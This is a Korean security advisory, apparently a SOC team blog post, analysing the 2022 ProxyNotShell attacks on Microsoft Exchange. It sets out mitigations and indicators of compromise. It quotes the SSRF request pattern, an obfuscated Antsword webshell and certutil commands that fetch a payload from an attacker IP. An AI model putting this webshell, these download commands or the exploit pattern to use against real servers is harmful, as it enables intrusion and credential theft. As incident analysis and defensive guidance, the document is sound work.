2022년 8월, 베트남 보안업체 GTSC의 SOC팀은 Microsoft Exchange 애플리케이션의 0-Day 취약점을 활용한 공격을 발견하였다. 2022년 9월 29일에 해당 취약점을 활용한 새로운 공격 캠페인에 대한 블로그를 게시했다.
CVE-2022–41040(ZDI-CAN-18333), CVE-2022-41082(ZDI-CAN-18802) 0-Day를 악용하면 유효한 메일 서버 계정을 소유한 공격자가 Microsoft Exchange 서버에서 원격 코드 실행(RCE)을 할 수 있다. 해당 취약점은 ProxyNotShell로 명명되었으며, 글 작성 시점 기준(22.10.04), PoC는 공개되지 않은 상태이다.
[그림 1] ProxyNotShell (ZDI)
CVE Dictionary EntryCVSS v3 ScoreDescription
CVE-2022-41040 | 8.8 | MS Exchange Server SSRF 취약점 | ||
CVE-2022-41082 | 8.8 | MS Exchange Server RCE 취약점 |
[표 1] ProxyNotShell (CVE)
일부 깃허브 저장소에서 ProxyNotShell의 PoC로 위장한 글이 게재된 바 있지만 이는 거짓으로 판명되었다. [그림 2]는 보안연구원인 Kevin Beaumont 를 가장한 가짜 깃허브 저장소이다. 이 외에도 가짜 PoC를 게재한 깃허브 계정은 'jml4da', 'TimWallbey', 'Liu Zhao Khin(0daylabin)', 'R007er', 'spher0x' 등이 있는 것으로 확인된다.
[그림 2] ProxyNotShell PoC로 위장한 가짜 깃허브 저장소
GTSC의 분석 결과에 따르면, 발견된 0-Day 취약점을 악용한 공격자는 원격 코드 실행 이후 공격 대상 시스템에 백도어를 생성하고 측면 이동을 수행하였다. 그리고 공격에 웹쉘이 사용되었는데 해당 웹쉘은 중국 기반 오픈소스 크로스 플랫폼 웹 사이트 관리 도구인 Antsword로 확인되었으며, 웹쉘 코드 페이지가 중국어 간체에 사용되는 Microsoft 문자 인코딩인 것으로 보아, 중국 해킹 그룹에서 공격이 수행된 것으로 추정된다.
1. ProxyShell 취약점과 유사한 exploit 요청(IIS 로그)
autodiscover/autodiscover.json?@evil.com/Email=autodiscover/autodiscover.json%3f@evil.com |
2. 1의 링크를 이용해 RCE(원격 코드 실행)을 목적으로 에 접근
현재 GTSC는 0-Day 취약점에 대한 기술 세부 사항을 공개하지 않았으며, 블로그를 통해 해커가 취약점이 있는 Exchange 서버에 백도어를 만들고 다른 서버로 내부 이동을 하기 위해 다양한 방법을 사용했다고 밝혔다.
공격에 사용된 웹쉘은 난독화 Antsword 웹쉘로, Code page 936(중국어용 Microsoft 문자 인코딩)을 사용했다.
<%@Page Language="Jscript"%> <%eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64S tring('NTcyM'+'jk3O3'+'ZhciB'+'zYWZl'+''+'P'+'S'+char(837-763)+System.Text.Encoding.G etEncoding(936).GetString(System.Convert.FromBase64String('MQ=='))+char(51450/525 )+''+''+char(0640-0462)+char(0x8c28/0x1cc)+char(0212100/01250)+System.Text.Enco ding.GetEncoding (936).GetString(System.Convert.FromBase64String('Wg=='))+'m'+''+'UiO2V'+'2YWwo'+ 'UmVxd'+'WVzdC'+'5JdGV'+'tWydF'+'WjBXS'+'WFtRG'+'Z6bU8'+'xajhk'+'J10sI'+'HNhZm' +'UpOzE'+'3MTY4'+'OTE7'+'')));%> |
[표 2] 웹쉘 코드 페이지
공격자는 Exchange 서버의 정상 파일(RedirSuiteServiceProxy.aspx)을 웹쉘 파일로 변경했다.
[그림 3] 공격에 사용된 웹쉘 목록
그리고 공격자는 피해 시스템에 대한 정보를 수집하였고 LotL(Living off the Land) 공격으로 Windows 환경의 내장 프로그램인 ‘certutil.exe’을 악용하여 악성 파일을 다운로드하였다.
cmd.exe /c cd /d "c:\\PerfLogs"&certutil.exe -urlcache -split -f hxxp://206[.]188.196.77:8080/themes.aspx c:\perflogs\t&echo [S]&cd&echo [E] |
cmd.exe /c cd /d "c:\\PerfLogs"&certutil.exe -urlcache -split -f hxxps://httpbin[.]org/get c:\test&echo [S]&cd&echo [E] |
[표 3] LotL 공격 페이로드
[표 3]에서 확인할 수 있듯, 공격 명령어는 China Chopper의 특징 중 하나인 ‘echo [S]&cd&echo [E]’ 문자열로 끝난다. 또한, 공격자는 WMIC를 통해 악성 DLL을 메모리에 주입하여 피해 시스템에 의심스러운 파일을 생성하였다.
파일 이름 | 경로 | |||
DrSDKCaller.exe | C:\root\DrSDKCaller.exe | |||
dump.dll | C:\Users\Public\dump.dll | |||
ad.exe | C:\Users\Public\ad.exe | |||
gpg-error.exe | C:\PerfLogs\gpg-error.exe | |||
cm.exe | C:\PerfLogs\cm.exe | |||
msado32.tlb | C:\Program Files\Common Files\system\ado\msado32.tlb |
[표 4] 생성된 의심 파일 목록
‘all.exe’ 와 ‘dump.dll’은 피해 서버에 대한 자격 증명 덤프를 수행하는 것으로 확인되었고 덤프 수행 후 공격자는 ‘rar.exe’를 사용하여 덤프 파일을 압축하여 Exchange 서버의 웹 루트에 복사하였다. ‘cm.exe’는 Windows 명령 줄 도구인 ‘cmd.exe’이다.
2022년 10월 4일 기준으로 취약점에 대한 패치가 발표되지 않은 상황이기 때문에 Microsoft는 임시 조치 방안으로써 IIS 서버의 URL Rewrite Rule module에 차단 규칙을 추가할 것을 권고했다. 한편, Janggggg(@testanull)는 트위터를 통해 Microsoft가 제공한 URL 차단 규칙은 우회가 가능하므로 다른 차단 규칙 대안(“.*autodiscover\.json.*Powershell .*”)을 제시했다. Microsofts는 2022년 10월 5일, Janggggg이 제시한 차단 규칙을 수용하여 취약점 대응 고객 지침을 업데이트 했다.
1. Autodiscover > URL Rewrite > Request Blocking 선택
2. URL Path에 “.*autodiscover\.json.*\@.*Powershell.*” 추가(Microsoft 제시)
3. Condition input: {REQUEST_URI} 선택
Microsoft는 Exchange 온프레미스 완화 도구 v2(EOMTv2)를 배포하여 URL 재작성 구성을 통해 CVE-2022-41040을 완화할 수 있도록 지원하고 있다.
Requirements | Details | |||
Powershell | Powershell 버전 3 이상 | |||
관리자 권한으로 Powershell 스크립트 실행 | ||||
IIS | IIS 버전 7.5 이상 | |||
MS Exchange Server | Exchange 2013 클라이언트 액세스 서버 역할 | |||
Exchange 2016 메일함 역할 | ||||
Exchange 2019 메일함 역할 | ||||
O/S | Windows Server 2008 R2 | |||
Windows Server 2012 | ||||
Windows Server 2012 R2 | ||||
Windows Server 2016 | ||||
Windows Server 2019 | ||||
Windows Server 2016 이전 O/S일 경우, IIS 재작성 모듈 2.1이 작동하려면 ‘KB2999226’이 있어야 함 | ||||
선택 사항 | Exchange 서버의 외부 인터넷 연결 (스크립트 업데이트 및 IIS URL 재작성 모듈 설치에 필요) |
[표 5] EOMTv2 요구 사항
Shodan.io에서 http.component:”outlook web app”을 검색하여 Outlook Web App이 인터넷에 노출되어 있는지 확인할 수 있다. org:[조직 이름] 또는 ssl:”*[조직 이름]*” 필터를 추가하여 조직을 찾을 수 있다.
[그림 4] Shodan 검색 결과
GTSC는 운영 중인 시스템에서 Exchange 서버가 0-Day 취약점에 의해 공격을 받았는지 확인할 수 있도록 GTSC는 IIS 로그 파일(%SystemDrive%\inetpub\logs\LogFiles\)을 검사하는 아래와 같은 지침과 도구를 발표했다.
방법 1. PowerShell 명령어를 사용하여 웹 로그 검사
powershell.exe Get-ChildItem -Recurse - Path -Filter “*.log” | Select-String -Pattern ‘powershell.*autodiscover\.json.*\@.*200 |
방법 2. GTSC에서 개발한 도구(IIS 로그 분석 도구) 사용
실행 파일(.exe) 실행을 통해 [방법 1]보다 빠르고 간단하게 익스플로잇 특징 검색
Download Link | https://github.com/ncsgroupvn/NCSE0Scanner |
- Webshell
파일 이름 | 경로 및 해시(SHA256) | |||
pxh4HG1v.ashx | C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\pxh4HG1v.ashx | |||
c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1 | ||||
RedirSuiteSer viceProxy.aspx |
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx | |||
65a002fe655dc1751add167cf00adf284c080ab2e97cd386881518d3a31d27f5 | ||||
RedirSuiteSer viceProxy.aspx |
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx | |||
b5038f1912e7253c7747d2f0fa5310ee8319288f818392298fd92009926268ca | ||||
Xml.ashx | Xml.ashx | |||
c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1 | ||||
errorEE.aspx | C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\errorEE.aspx | |||
be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257 |
- DLL
파일 이름 | 해시(SHA256) | |||
Dll.dll | 074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82 | |||
45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9 | ||||
9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0 | ||||
29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3 | ||||
c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2 | ||||
180000000.dll | 76a2f2644cb372f540e179ca2baa110b71de3370bb560aca65dcddbd7da3701e (180000000.dll: Svchost.exe 프로세스에서 덤프) |
|||
pxh4HG1v.ashx | c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1 | |||
RedirSuiteServi ceProxy.aspx |
65a002fe655dc1751add167cf00adf284c080ab2e97cd386881518d3a31d27f5 | |||
RedirSuiteServi ceProxy.aspx |
b5038f1912e7253c7747d2f0fa5310ee8319288f818392298fd92009926268ca | |||
errorEE.aspx | be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257 |
- IP
125[.]212[.]220[.]48
5[.]180[.]61[.]17
47[.]242[.]39[.]92
61[.]244[.]94[.]85
86[.]48[.]6[.]69
86[.]48[.]12[.]64
94[.]140[.]8[.]48
94[.]140[.]8[.]113
103[.]9[.]76[.]208
103[.]9[.]76[.]211
104[.]244[.]79[.]6
112[.]118[.]48[.]186
122[.]155[.]174[.]188
125[.]212[.]241[.]134
185[.]220[.]101[.]182
194[.]150[.]167[.]88
212[.]119[.]34[.]11
- URL
hxxp://206[.]188[.]196[.]77:8080/themes.aspx
- C2
137[.]184[.]67[.]33
[1] GTSC, WARNING: NEW ATTACK CAMPAIGN UTILIZED A NEW 0-DAY RCE VULNERABILITY ON MICROSOFT EXCHANGE SERVER
[2] Microsoft Security, Analyzing attacks using the Exchange vulnerabilities CVE-2022-41040 and CVE-2022-41082
[3] Microsoft Security, Customer Guidance for Reported Zero-day Vulnerabilities in Microsoft Exchange Server
[4] Zero Day Initiative, ZDI-CAN-18333, ZDI-CAN-18802
https://www.zerodayinitiative.com/advisories/upcoming/
[5] ZDI-CAN-18333 aka ProxyNotShell— the story of the claimed zero day in Microsoft Exchange
https://doublepulsar.com/proxynotshell-the-story-of-the-claimed-zero-day-in-microsoft-exchange-5c63d963a9e9
[6] Fake Microsoft Exchange ProxyNotShell exploits for sale on GitHub
[7] Exchange On-premises Mitigation Tool v2 (EOMTv2)
https://microsoft.github.io/CSS-Exchange/Security/EOMTv2/
[8] THREAT ALERT: ProxyNotShell - Two Critical Vulnerabilities Affecting MS Exchange
[9] TheSecMaster, How to Mitigate CVE-2022-41040- A 0-Day SSRF Vulnerability in Microsoft Exchange Server
보안관제센터 MIR Team
Microsoft 지원 진단 도구(MSDT) 원격 코드 실행 취약점 (CVE-2022-30190) (0) | 2022.06.02 |
---|---|
리눅스 커널 로컬 권한 상승 취약점 (CVE-2022-0847) (0) | 2022.03.17 |
GitLab 원격 코드 실행 취약점 (CVE-2021-22205) (0) | 2022.03.11 |
프린트 스풀러 권한 상승 취약점 (CVE-2022-21999) (0) | 2022.02.18 |
댓글 영역